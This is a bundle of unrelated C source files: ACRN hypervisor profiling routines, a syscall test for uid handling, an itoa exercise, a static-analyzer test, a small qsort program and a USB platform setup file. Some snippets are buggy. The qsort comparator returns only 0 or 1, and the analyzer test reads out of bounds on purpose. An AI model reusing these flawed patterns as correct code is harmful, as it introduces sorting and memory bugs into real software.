"%s: pmi_cnt[%d] = total:%u valid=%u, vmexit_cnt=%u",
__func__, i, per_cpu(profiling_info.s_state, i).total_pmi_count,
per_cpu(profiling_info.s_state, i).valid_pmi_count,
per_cpu(profiling_info.s_state, i).total_vmexit_count);
dev_dbg(ACRN_DBG_PROFILING,
"%s: cpu%d frozen well:%u frozen delayed=%u, nofrozen_pmi=%u",
__func__, i, per_cpu(profiling_info.s_state, i).frozen_well,
per_cpu(profiling_info.s_state, i).frozen_delayed,
per_cpu(profiling_info.s_state, i).nofrozen_pmi);
dev_dbg(ACRN_DBG_PROFILING,
"%s: cpu%d samples captured:%u samples dropped=%u",
__func__, i, per_cpu(profiling_info.s_state, i).samples_logged,
per_cpu(profiling_info.s_state, i).samples_dropped);
}
smp_call_function(get_active_pcpu_bitmap(), profiling_ipi_handler, NULL);
in_pmu_profiling = false;
dev_dbg(ACRN_DBG_PROFILING, "%s: done.", __func__);
}
}
/*
* Performs MSR operations on all the CPU's
*/
int32_t profiling_msr_ops_all_cpus(struct acrn_vm *vm, uint64_t addr)
{
uint16_t i;
struct profiling_msr_ops_list msr_list[CONFIG_MAX_PCPU_NUM];
uint16_t pcpu_nums = get_pcpu_nums();
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &msr_list, addr, (uint32_t)pcpu_nums * sizeof(struct profiling_msr_ops_list)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
for (i = 0U; i < pcpu_nums; i++) {
per_cpu(profiling_info.ipi_cmd, i) = IPI_MSR_OP;
per_cpu(profiling_info.msr_node, i) = &(msr_list[i]);
}
smp_call_function(get_active_pcpu_bitmap(), profiling_ipi_handler, NULL);
if (copy_to_gpa(vm, &msr_list, addr, sizeof(msr_list)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return 0;
}
/*
* Generate VM info list
*/
int32_t profiling_vm_list_info(struct acrn_vm *vm, uint64_t addr)
{
struct acrn_vm *tmp_vm;
struct acrn_vcpu *vcpu;
int32_t vm_idx;
uint16_t i, j;
struct profiling_vm_info_list vm_info_list;
uint16_t pcpu_nums = get_pcpu_nums();
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &vm_info_list, addr, sizeof(vm_info_list)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
vm_idx = 0;
vm_info_list.vm_list[vm_idx].vm_id_num = -1;
(void)memcpy_s((void *)vm_info_list.vm_list[vm_idx].vm_name, 4U, "VMM\0", 4U);
for (i = 0U; i < pcpu_nums; i++) {
vm_info_list.vm_list[vm_idx].cpu_map[i].vcpu_id = i;
vm_info_list.vm_list[vm_idx].cpu_map[i].pcpu_id = i;
vm_info_list.vm_list[vm_idx].cpu_map[i].apic_id
= per_cpu(lapic_id, i);
}
vm_info_list.vm_list[vm_idx].num_vcpus = i;
vm_info_list.num_vms = 1;
for (j = 0U; j < CONFIG_MAX_VM_NUM; j++) {
tmp_vm = get_vm_from_vmid(j);
if (is_poweroff_vm(tmp_vm)) {
break;
}
vm_info_list.num_vms++;
vm_idx++;
vm_info_list.vm_list[vm_idx].vm_id_num = tmp_vm->vm_id;
(void)memcpy_s((void *)vm_info_list.vm_list[vm_idx].uuid,
16U, tmp_vm->uuid, 16U);
snprintf(vm_info_list.vm_list[vm_idx].vm_name, 16U, "vm_%d",
tmp_vm->vm_id, 16U);
vm_info_list.vm_list[vm_idx].num_vcpus = 0;
i = 0U;
foreach_vcpu(i, tmp_vm, vcpu) {
vm_info_list.vm_list[vm_idx].cpu_map[i].vcpu_id
= vcpu->vcpu_id;
vm_info_list.vm_list[vm_idx].cpu_map[i].pcpu_id
= vcpu->pcpu_id;
vm_info_list.vm_list[vm_idx].cpu_map[i].apic_id = 0;
vm_info_list.vm_list[vm_idx].num_vcpus++;
}
}
if (copy_to_gpa(vm, &vm_info_list, addr, sizeof(vm_info_list)) != 0) {
pr_err("%s: Unable to copy addr to vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return 0;
}
/*
* Sep/socwatch profiling version
*/
int32_t profiling_get_version_info(struct acrn_vm *vm, uint64_t addr)
{
struct profiling_version_info ver_info;
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &ver_info, addr, sizeof(ver_info)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
ver_info.major = MAJOR_VERSION;
ver_info.minor = MINOR_VERSION;
ver_info.supported_features = (int64_t)
((1U << (uint64_t)CORE_PMU_SAMPLING) |
(1U << (uint64_t)CORE_PMU_COUNTING) |
(1U << (uint64_t)LBR_PMU_SAMPLING) |
(1U << (uint64_t)VM_SWITCH_TRACING));
if (copy_to_gpa(vm, &ver_info, addr, sizeof(ver_info)) != 0) {
pr_err("%s: Unable to copy addr to vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return 0;
}
/*
* Gets type of profiling - sep/socwatch
*/
int32_t profiling_get_control(struct acrn_vm *vm, uint64_t addr)
{
struct profiling_control prof_control;
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &prof_control, addr, sizeof(prof_control)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
switch (prof_control.collector_id) {
case COLLECT_PROFILE_DATA:
prof_control.switches = sep_collection_switch;
break;
case COLLECT_POWER_DATA:
break;
default:
pr_err("%s: unknown collector %d",
__func__, prof_control.collector_id);
break;
}
if (copy_to_gpa(vm, &prof_control, addr, sizeof(prof_control)) != 0) {
pr_err("%s: Unable to copy addr to vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return 0;
}
/*
* Update the profiling type based on control switch
*/
int32_t profiling_set_control(struct acrn_vm *vm, uint64_t addr)
{
uint64_t old_switch;
uint64_t new_switch;
uint16_t i;
uint16_t pcpu_nums = get_pcpu_nums();
struct profiling_control prof_control;
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &prof_control, addr, sizeof(prof_control)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
switch (prof_control.collector_id) {
case COLLECT_PROFILE_DATA:
old_switch = sep_collection_switch;
new_switch = prof_control.switches;
sep_collection_switch = prof_control.switches;
dev_dbg(ACRN_DBG_PROFILING,
" old_switch: %llu sep_collection_switch: %llu!",
old_switch, sep_collection_switch);
for (i = 0U; i < (uint16_t)MAX_SEP_FEATURE_ID; i++) {
if (((new_switch ^ old_switch) & (0x1UL << i)) != 0UL) {
switch (i) {
case CORE_PMU_SAMPLING:
case CORE_PMU_COUNTING:
if ((new_switch & (0x1UL << i)) != 0UL) {
profiling_start_pmu();
} else {
profiling_stop_pmu();
}
break;
case LBR_PMU_SAMPLING:
break;
case VM_SWITCH_TRACING:
break;
default:
dev_dbg(ACRN_DBG_PROFILING,
"%s: feature not supported %u",
__func__, i);
break;
}
}
}
break;
case COLLECT_POWER_DATA:
dev_dbg(ACRN_DBG_PROFILING,
"%s: configuring socwatch", __func__);
socwatch_collection_switch = prof_control.switches;
dev_dbg(ACRN_DBG_PROFILING,
"socwatch_collection_switch: %llu!",
socwatch_collection_switch);
if (socwatch_collection_switch != 0UL) {
dev_dbg(ACRN_DBG_PROFILING,
"%s: socwatch start collection invoked!", __func__);
for (i = 0U; i < (uint16_t)MAX_SOCWATCH_FEATURE_ID; i++) {
if ((socwatch_collection_switch & (0x1UL << i)) != 0UL) {
switch (i) {
case SOCWATCH_COMMAND:
break;
case SOCWATCH_VM_SWITCH_TRACING:
dev_dbg(ACRN_DBG_PROFILING,
"%s: socwatch vm-switch feature requested!",
__func__);
break;
default:
dev_dbg(ACRN_DBG_PROFILING,
"%s: socwatch feature not supported %u",
__func__, i);
break;
}
}
}
for (i = 0U; i < pcpu_nums ; i++) {
per_cpu(profiling_info.soc_state, i)
= SW_RUNNING;
}
} else { /* stop socwatch collection */
dev_dbg(ACRN_DBG_PROFILING,
"%s: socwatch stop collection invoked or collection switch not set!",
__func__);
for (i = 0U; i < pcpu_nums ; i++) {
per_cpu(profiling_info.soc_state, i)
= SW_STOPPED;
}
}
break;
default:
pr_err("%s: unknown collector %d",
__func__, prof_control.collector_id);
break;
}
if (copy_to_gpa(vm, &prof_control, addr, sizeof(prof_control)) != 0) {
pr_err("%s: Unable to copy addr to vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return 0;
}
/*
* Configure PMI on all cpus
*/
int32_t profiling_configure_pmi(struct acrn_vm *vm, uint64_t addr)
{
uint16_t i;
struct profiling_pmi_config pmi_config;
uint16_t pcpu_nums = get_pcpu_nums();
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &pmi_config, addr, sizeof(pmi_config)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
for (i = 0U; i < pcpu_nums; i++) {
if (!((per_cpu(profiling_info.s_state, i).pmu_state ==
PMU_INITIALIZED) ||
(per_cpu(profiling_info.s_state, i).pmu_state ==
PMU_SETUP))) {
pr_err("%s: invalid pmu_state %u on cpu%d",
__func__, per_cpu(profiling_info.s_state, i).pmu_state, i);
return -EINVAL;
}
}
if (pmi_config.num_groups == 0U ||
pmi_config.num_groups > MAX_GROUP_NUM) {
pr_err("%s: invalid num_groups %u",
__func__, pmi_config.num_groups);
return -EINVAL;
}
for (i = 0U; i < pcpu_nums; i++) {
per_cpu(profiling_info.ipi_cmd, i) = IPI_PMU_CONFIG;
per_cpu(profiling_info.s_state, i).num_pmi_groups
= pmi_config.num_groups;
(void)memcpy_s((void *)per_cpu(profiling_info.s_state, i).pmi_initial_msr_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM,
(void *)pmi_config.initial_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM);
(void)memcpy_s((void *)per_cpu(profiling_info.s_state, i).pmi_start_msr_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM,
(void *)pmi_config.start_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM);
(void)memcpy_s((void *)per_cpu(profiling_info.s_state, i).pmi_stop_msr_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM,
(void *)pmi_config.stop_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM);
(void)memcpy_s((void *)per_cpu(profiling_info.s_state, i).pmi_entry_msr_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM,
(void *)pmi_config.entry_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM);
(void)memcpy_s((void *)per_cpu(profiling_info.s_state, i).pmi_exit_msr_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM,
(void *)pmi_config.exit_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM*MAX_GROUP_NUM);
}
smp_call_function(get_active_pcpu_bitmap(), profiling_ipi_handler, NULL);
if (copy_to_gpa(vm, &pmi_config, addr, sizeof(pmi_config)) != 0) {
pr_err("%s: Unable to copy addr to vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return 0;
}
/*
* Configure for VM-switch data on all cpus
*/
int32_t profiling_configure_vmsw(struct acrn_vm *vm, uint64_t addr)
{
uint16_t i;
int32_t ret = 0;
struct profiling_vmsw_config vmsw_config;
uint16_t pcpu_nums = get_pcpu_nums();
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &vmsw_config, addr, sizeof(vmsw_config)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
switch (vmsw_config.collector_id) {
case COLLECT_PROFILE_DATA:
for (i = 0U; i < pcpu_nums; i++) {
per_cpu(profiling_info.ipi_cmd, i) = IPI_VMSW_CONFIG;
(void)memcpy_s(
(void *)per_cpu(profiling_info.s_state, i).vmsw_initial_msr_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM,
(void *)vmsw_config.initial_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM);
(void)memcpy_s(
(void *)per_cpu(profiling_info.s_state, i).vmsw_entry_msr_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM,
(void *)vmsw_config.entry_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM);
(void)memcpy_s(
(void *)per_cpu(profiling_info.s_state, i).vmsw_exit_msr_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM,
(void *)vmsw_config.exit_list,
sizeof(struct profiling_msr_op)*MAX_MSR_LIST_NUM);
}
smp_call_function(get_active_pcpu_bitmap(), profiling_ipi_handler, NULL);
break;
case COLLECT_POWER_DATA:
break;
default:
pr_err("%s: unknown collector %d",
__func__, vmsw_config.collector_id);
ret = -EINVAL;
break;
}
if (copy_to_gpa(vm, &vmsw_config, addr, sizeof(vmsw_config)) != 0) {
pr_err("%s: Unable to copy addr to vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return ret;
}
/*
* Get the physical cpu id
*/
int32_t profiling_get_pcpu_id(struct acrn_vm *vm, uint64_t addr)
{
struct profiling_pcpuid pcpuid;
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &pcpuid, addr, sizeof(pcpuid)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
cpuid_subleaf(pcpuid.leaf, pcpuid.subleaf, &pcpuid.eax,
&pcpuid.ebx, &pcpuid.ecx, &pcpuid.edx);
if (copy_to_gpa(vm, &pcpuid, addr, sizeof(pcpuid)) != 0) {
pr_err("%s: Unable to copy param to vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return 0;
}
/*
* Update collection statictics
*/
int32_t profiling_get_status_info(struct acrn_vm *vm, uint64_t gpa)
{
uint16_t i;
struct profiling_status pstats[CONFIG_MAX_PCPU_NUM];
uint16_t pcpu_nums = get_pcpu_nums();
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (copy_from_gpa(vm, &pstats, gpa,
pcpu_nums*sizeof(struct profiling_status)) != 0) {
pr_err("%s: Unable to copy addr from vm\n", __func__);
return -EINVAL;
}
for (i = 0U; i < pcpu_nums; i++) {
pstats[i].samples_logged =
per_cpu(profiling_info.s_state, i).samples_logged;
pstats[i].samples_dropped =
per_cpu(profiling_info.s_state, i).samples_dropped;
}
if (copy_to_gpa(vm, &pstats, gpa,
pcpu_nums*sizeof(struct profiling_status)) != 0) {
pr_err("%s: Unable to copy param to vm\n", __func__);
return -EINVAL;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
return 0;
}
/*
* IPI interrupt handler function
*/
void profiling_ipi_handler(__unused void *data)
{
switch (get_cpu_var(profiling_info.ipi_cmd)) {
case IPI_PMU_START:
profiling_enable_pmu();
break;
case IPI_PMU_STOP:
profiling_disable_pmu();
break;
case IPI_MSR_OP:
profiling_handle_msrops();
break;
case IPI_PMU_CONFIG:
profiling_initialize_pmi();
break;
case IPI_VMSW_CONFIG:
profiling_initialize_vmsw();
break;
default:
pr_err("%s: unknown IPI command %d on cpu %d",
__func__, get_cpu_var(profiling_info.ipi_cmd), get_pcpu_id());
break;
}
get_cpu_var(profiling_info.ipi_cmd) = IPI_UNKNOWN;
}
/*
* Save the VCPU info on vmenter
*/
void profiling_vmenter_handler(__unused struct acrn_vcpu *vcpu)
{
if (((get_cpu_var(profiling_info.s_state).pmu_state == PMU_RUNNING) &&
((sep_collection_switch &
(1UL << (uint64_t)VM_SWITCH_TRACING)) > 0UL)) ||
((get_cpu_var(profiling_info.soc_state) == SW_RUNNING) &&
((socwatch_collection_switch &
(1UL << (uint64_t)SOCWATCH_VM_SWITCH_TRACING)) > 0UL))) {
get_cpu_var(profiling_info.vm_info).vmenter_tsc = rdtsc();
}
}
/*
* Save the VCPU info on vmexit
*/
void profiling_pre_vmexit_handler(struct acrn_vcpu *vcpu)
{
uint64_t exit_reason = 0UL;
exit_reason = vcpu->arch.exit_reason & 0xFFFFUL;
if ((get_cpu_var(profiling_info.s_state).pmu_state == PMU_RUNNING) ||
(get_cpu_var(profiling_info.soc_state) == SW_RUNNING)) {
get_cpu_var(profiling_info.vm_info).vmexit_tsc = rdtsc();
get_cpu_var(profiling_info.vm_info).vmexit_reason
= exit_reason;
if (exit_reason == VMX_EXIT_REASON_EXTERNAL_INTERRUPT) {
get_cpu_var(profiling_info.vm_info).external_vector
= (int32_t)(exec_vmread(VMX_EXIT_INT_INFO) & 0xFFUL);
} else {
get_cpu_var(profiling_info.vm_info).external_vector = -1;
}
get_cpu_var(profiling_info.vm_info).guest_rip
= vcpu_get_rip(vcpu);
get_cpu_var(profiling_info.vm_info).guest_rflags
= vcpu_get_rflags(vcpu);
get_cpu_var(profiling_info.vm_info).guest_cs
= exec_vmread64(VMX_GUEST_CS_SEL);
get_cpu_var(profiling_info.vm_info).guest_vm_id = (int16_t)vcpu->vm->vm_id;
}
}
/*
* Generate vmexit data
*/
void profiling_post_vmexit_handler(struct acrn_vcpu *vcpu)
{
per_cpu(profiling_info.s_state, vcpu->pcpu_id).total_vmexit_count++;
if ((get_cpu_var(profiling_info.s_state).pmu_state == PMU_RUNNING) ||
(get_cpu_var(profiling_info.soc_state) == SW_RUNNING)) {
/* Generate vmswitch sample */
if (((sep_collection_switch &
(1UL << (uint64_t)VM_SWITCH_TRACING)) > 0UL) ||
((socwatch_collection_switch &
(1UL << (uint64_t)SOCWATCH_VM_SWITCH_TRACING)) > 0UL)) {
get_cpu_var(profiling_info.vm_trace).os_id
= vcpu->vm->vm_id;
get_cpu_var(profiling_info.vm_trace).vm_enter_tsc
= get_cpu_var(profiling_info.vm_info).vmenter_tsc;
get_cpu_var(profiling_info.vm_trace).vm_exit_tsc
= get_cpu_var(profiling_info.vm_info).vmexit_tsc;
get_cpu_var(profiling_info.vm_trace).vm_exit_reason
= get_cpu_var(profiling_info.vm_info).vmexit_reason;
if ((sep_collection_switch &
(1UL << (uint64_t)VM_SWITCH_TRACING)) > 0UL) {
(void)profiling_generate_data(COLLECT_PROFILE_DATA,
VM_SWITCH_TRACING);
}
if ((socwatch_collection_switch &
(1UL << (uint64_t)SOCWATCH_VM_SWITCH_TRACING)) > 0UL) {
(void)profiling_generate_data(COLLECT_POWER_DATA,
SOCWATCH_VM_SWITCH_TRACING);
}
}
}
}
/*
* Setup PMI irq vector
*/
void profiling_setup(void)
{
uint16_t cpu;
int32_t retval;
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
cpu = get_pcpu_id();
/* support PMI notification, SOS_VM will register all CPU */
if ((cpu == BOOT_CPU_ID) && (profiling_pmi_irq == IRQ_INVALID)) {
pr_info("%s: calling request_irq", __func__);
retval = request_irq(PMI_IRQ,
profiling_pmi_handler, NULL, IRQF_NONE);
if (retval < 0) {
pr_err("Failed to add PMI isr");
return;
}
profiling_pmi_irq = (uint32_t)retval;
}
per_cpu(profiling_info.s_state, cpu).valid_pmi_count = 0U;
per_cpu(profiling_info.s_state, cpu).total_pmi_count = 0U;
per_cpu(profiling_info.s_state, cpu).total_vmexit_count = 0U;
per_cpu(profiling_info.s_state, cpu).pmu_state = PMU_INITIALIZED;
per_cpu(profiling_info.s_state, cpu).vmexit_msr_cnt = 0U;
per_cpu(profiling_info.s_state, cpu).samples_logged = 0U;
per_cpu(profiling_info.s_state, cpu).samples_dropped = 0U;
per_cpu(profiling_info.s_state, cpu).frozen_well = 0U;
per_cpu(profiling_info.s_state, cpu).frozen_delayed = 0U;
per_cpu(profiling_info.s_state, cpu).nofrozen_pmi = 0U;
msr_write(MSR_IA32_EXT_APIC_LVT_PMI,
VECTOR_PMI | LVT_PERFCTR_BIT_MASK);
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting", __func__);
}
#endif
|
the_stack_data/107953061.c
|
/*
* Copyright (c) 2014-2015 Dmitry V. Levin <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <assert.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
int
main(void)
{
#if (defined __NR_getuid || defined __NR_getxuid) \
&& defined(__NR_setuid) \
&& defined(__NR_getresuid) \
&& defined(__NR_setreuid) \
&& defined(__NR_setresuid) \
&& defined(__NR_fchown) \
&& defined(__NR_getgroups)
int uid;
int size;
int *list = 0;
#ifndef __NR_getuid
# define __NR_getuid __NR_getxuid
#endif
uid = syscall(__NR_getuid);
(void) close(0);
if (open("/proc/sys/kernel/overflowuid", O_RDONLY) == 0) {
/* we trust the kernel */
char buf[sizeof(int)*3];
int n = read(0, buf, sizeof(buf) - 1);
if (n) {
buf[n] = '\0';
n = atoi(buf);
if (uid == n)
return 77;
}
(void) close(0);
}
assert(syscall(__NR_setuid, uid) == 0);
{
/*
* uids returned by getresuid should be ignored
* to avoid 16bit vs 32bit issues.
*/
int r, e, s;
assert(syscall(__NR_getresuid, &r, &e, &s) == 0);
}
assert(syscall(__NR_setreuid, -1, -1L) == 0);
assert(syscall(__NR_setresuid, uid, -1, -1L) == 0);
assert(syscall(__NR_fchown, 1, -1, -1L) == 0);
assert((size = syscall(__NR_getgroups, 0, list)) >= 0);
assert(list = calloc(size + 1, sizeof(*list)));
assert(syscall(__NR_getgroups, size, list) == size);
return 0;
#else
return 77;
#endif
}
|
the_stack_data/103925.c
|
#include <stdio.h>
// symbolic constant
#define WORDLEN 100
// macro
#define abs(x) ((x) < 0 ? -(x) : (x))
// prototype
void itoa(int n, char s[]);
int main(void) {
char s[WORDLEN];
int a, b;
/* value is not represented correctly its opposite value falls outside of
the representable integer range by one. A solution is to not negate the
integer but directly building the string handling negatives if present.*/
a = -2147483648;
b = 2147483647;
itoa(a, s);
printf("%d\t\t%s\n", a, s);
itoa(b, s);
printf("%d\t\t%s\n", b, s);
return 0;
}
/* convert n to characters in s */
void itoa(int n, char s[]){
int i, j, sign, temp;
// save sign
sign = n;
// this builds the reverse of the string
i = 0;
do
s[i++] = abs(n % 10) + '0'; // absolute value of the remainder, avoids inverting integer
while ((n /= 10) != 0); // not exactly equal to 0
if (sign < 0)
s[i++] = '-';
s[i--] = '\0';
// reverse string (make use of incremented i var as length)
for (j=0; j < i / 2; j++) {
temp = s[j];
s[j] = s[i-j];
s[i-j] = temp;
}
}
|
the_stack_data/83390.c
|
/*
* Copyright (c) 2013 - present Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
int main() {
int x = 1;
int y;
y = ~x;
y = -x;
y = +x;
y = x++;
y = ++x;
y = --x;
y = x--;
int a;
int* b;
b = &a;
a = *(b + 1);
*b = *b + 1;
a = *(&a);
return 0;
}
|
the_stack_data/104827699.c
|
#include<stdio.h>
int cmp(const void *a,const void *b){
int *p=(int *)a;
int *q=(int *)b;
return ((*p)>(*q));
}
int main(){
int n;
int m;
scanf("%d",&n);
scanf("%d",&m);
int arr[n];
int i=0;
int temp=0;
int j=0;
for(i=0;i<n;i++){
scanf("%d",&arr[i]);
}
qsort(arr,n,sizeof(int),cmp);
//for(i=0;i<n;i++){
// printf("%d",arr[i]);
//}
for(i=0;i+m<=n;i++){
int temp1=arr[i];
temp=temp+arr[i];
for(j=i;j<i+m;j++){
arr[j]=arr[j]-temp1;
printf("arr[j]=%d\n",arr[j]);
}
for(j=0;j<n;j++){
printf("%d ",arr[j]);
}
}
printf("%d",temp);
return 0;
}
|
the_stack_data/45218.c
|
/*
* The setup file for USB related hardware on PMC-Sierra MSP processors.
*
* Copyright 2006 PMC-Sierra, Inc.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
* NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
* USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#if defined(CONFIG_USB_EHCI_HCD) || defined(CONFIG_USB_GADGET)
#include <linux/init.h>
#include <linux/ioport.h>
#include <linux/platform_device.h>
#include <asm/mipsregs.h>
#include <msp_regs.h>
#include <msp_int.h>
#include <msp_prom.h>
#include <msp_usb.h>
#if defined(CONFIG_USB_EHCI_HCD)
static struct resource msp_usbhost0_resources[] = {
[0] = { /* EHCI-HS operational and capabilities registers */
.start = MSP_USB0_HS_START,
.end = MSP_USB0_HS_END,
.flags = IORESOURCE_MEM,
},
[1] = {
.start = MSP_INT_USB,
.end = MSP_INT_USB,
.flags = IORESOURCE_IRQ,
},
[2] = { /* MSBus-to-AMBA bridge register space */
.start = MSP_USB0_MAB_START,
.end = MSP_USB0_MAB_END,
.flags = IORESOURCE_MEM,
},
[3] = { /* Identification and general hardware parameters */
.start = MSP_USB0_ID_START,
.end = MSP_USB0_ID_END,
.flags = IORESOURCE_MEM,
},
};
static u64 msp_usbhost0_dma_mask = 0xffffffffUL;
static struct mspusb_device msp_usbhost0_device = {
.dev = {
.name = "pmcmsp-ehci",
.id = 0,
.dev = {
.dma_mask = &msp_usbhost0_dma_mask,
.coherent_dma_mask = 0xffffffffUL,
},
.num_resources = ARRAY_SIZE(msp_usbhost0_resources),
.resource = msp_usbhost0_resources,
},
};
/* MSP7140/MSP82XX has two USB2 hosts. */
#ifdef CONFIG_MSP_HAS_DUAL_USB
static u64 msp_usbhost1_dma_mask = 0xffffffffUL;
static struct resource msp_usbhost1_resources[] = {
[0] = { /* EHCI-HS operational and capabilities registers */
.start = MSP_USB1_HS_START,
.end = MSP_USB1_HS_END,
.flags = IORESOURCE_MEM,
},
[1] = {
.start = MSP_INT_USB,
.end = MSP_INT_USB,
.flags = IORESOURCE_IRQ,
},
[2] = { /* MSBus-to-AMBA bridge register space */
.start = MSP_USB1_MAB_START,
.end = MSP_USB1_MAB_END,
.flags = IORESOURCE_MEM,
},
[3] = { /* Identification and general hardware parameters */
.start = MSP_USB1_ID_START,
.end = MSP_USB1_ID_END,
.flags = IORESOURCE_MEM,
},
};
static struct mspusb_device msp_usbhost1_device = {
.dev = {
.name = "pmcmsp-ehci",
.id = 1,
.dev = {
.dma_mask = &msp_usbhost1_dma_mask,
.coherent_dma_mask = 0xffffffffUL,
},
.num_resources = ARRAY_SIZE(msp_usbhost1_resources),
.resource = msp_usbhost1_resources,
},
};
#endif /* CONFIG_MSP_HAS_DUAL_USB */
#endif /* CONFIG_USB_EHCI_HCD */
#if defined(CONFIG_USB_GADGET)
static struct resource msp_usbdev0_resources[] = {
